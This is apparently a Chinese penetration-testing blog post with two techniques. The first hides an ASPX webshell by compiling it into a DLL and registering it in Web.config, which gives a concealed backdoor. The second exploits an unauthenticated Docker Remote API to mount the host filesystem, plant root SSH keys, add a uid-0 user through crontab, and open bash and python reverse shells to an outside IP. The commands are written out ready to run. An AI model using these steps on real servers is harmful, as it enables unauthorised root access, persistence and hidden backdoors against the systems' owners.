0x00 前言
0x01 ASPX编译Dll隐藏shell
准备工作
- ASPX木马(copy到一个单独的文件夹,aabb.aspx为例)
- aspnet_compiler.exe(安装了Microsoft .net framework后不同版本均带有此软件,2.0版默认在
C:\Windows\Microsoft.NET\Framework\v2.0.50727)
- 新建目标文件夹(Dll生成的位置,target为例)
- ASPX运行解析环境(最好IIS,本次以PageAdmin携带的AspNet.EXE便携版解析环境为例)
ASPX编译Dll
1 | aspnet_compiler.exe -v / -p ASPX木马绝对路径 target目标文件绝对路径 |
命令执行完毕后,在target目标文件夹下的bin目录生成对应Dll文件和一些其他文件
测试环境
使用我所提到的环境编译的情况下,处于功能测试目的,直接运行target目标文件夹下的AspNet.exe即可运行,浏览器访问对应的木马文件名,如aabb.aspx即可正常访问shell木马。
然而打开aabb.aspx文件发现并没有实际内容,将其删除对木马功能没有任何影响
渗透实际环境
- 打开编译target目录下bin/*.compiled文件,记录其中assembly(dll文件名和type的值(类名)(此处assembly=”App_Web_gsaqzno3” type=”ASP.aabb_aspx”)
编辑目标主机网站目录的Web.config文件,在
<add verb
代码附近添加如下代码:1
2
3
4
5
6
7
8
9
10
11<add verb="*" path="木马最终访问路径" type="type的值(类名),assembly的值(dll文件名)" validate="True"/>
例如:
<add verb="*" path="aabb.aspx" type="ASP.aabb_aspx,App_Web_amovoubm" validate="True"/>
如果没有<add verb
在
<system.web>
# 省略其他
<httpHandlers>
<add verb="*" path="aabb.aspx" type="ASP.aabb_aspx,App_Web_amovoubm" validate="True"/>
</httpHandlers>
</system.web>将Dll文件copy到目标主机网站根目录/bin目录下访问网站链接木马路径即可
0x02 Remote API利用姿势
主要问题:docker remote api未授权
1.测试环境准备
测试环境:快捷安装shipyard(docker图形化管理),未设置访问权限
1 | #在安装docker环境下 |
2.漏洞检测与利用准备
查看docker集群信息
1
docker -H 目标IP
查看docker集群镜像
1
docker -H 目标IP images
在目标服务器建立docker容器(最好选择服务器已有镜像),并挂载目标服务器所有文件路径到容器/var/hack路径下
1
docker -H 目标IP run -d -v /:/var/hack --name getshell tutum/lamp
进入docker容器进行漏洞利用(此处name为getshell
1
docker -H 123.207.*.* exec -it getshell /bin/bash
3.漏洞利用姿势
3.1上传公钥证书直接root登录
生成公私钥对
1 | ssh-keygen -t rsa |
上传公钥到目标主机/root/.ssh/authorized_keys文件,然后ssh直接登录root(如果私钥设置密码,需要输入密码)
3.2修改crontab添加root权限用户
编辑/etc/crontab文件最后添加
1 | */1 * * * * root /usr/sbin/useradd 用户名-u 0 -g 0 -o && echo "用户名:密码"|chpasswd |
ssh连接,使用新建的用户名密码登录
3.3修改crontab反弹shell
bash版(前两句代码指定运行的环境变量)1
2
3SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/1 * * * * root bash -i >& /dev/tcp/123.207.*.*/8888 0>&1
python版1
2*/1 * * * * root python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.207.*.*",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import os;os.popen("bash -i >& /dev/tcp/123.207.*.*/8888 0>&1");'
3.4编写web目录下的文件直接getshell
这个不多说
提示:
本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负。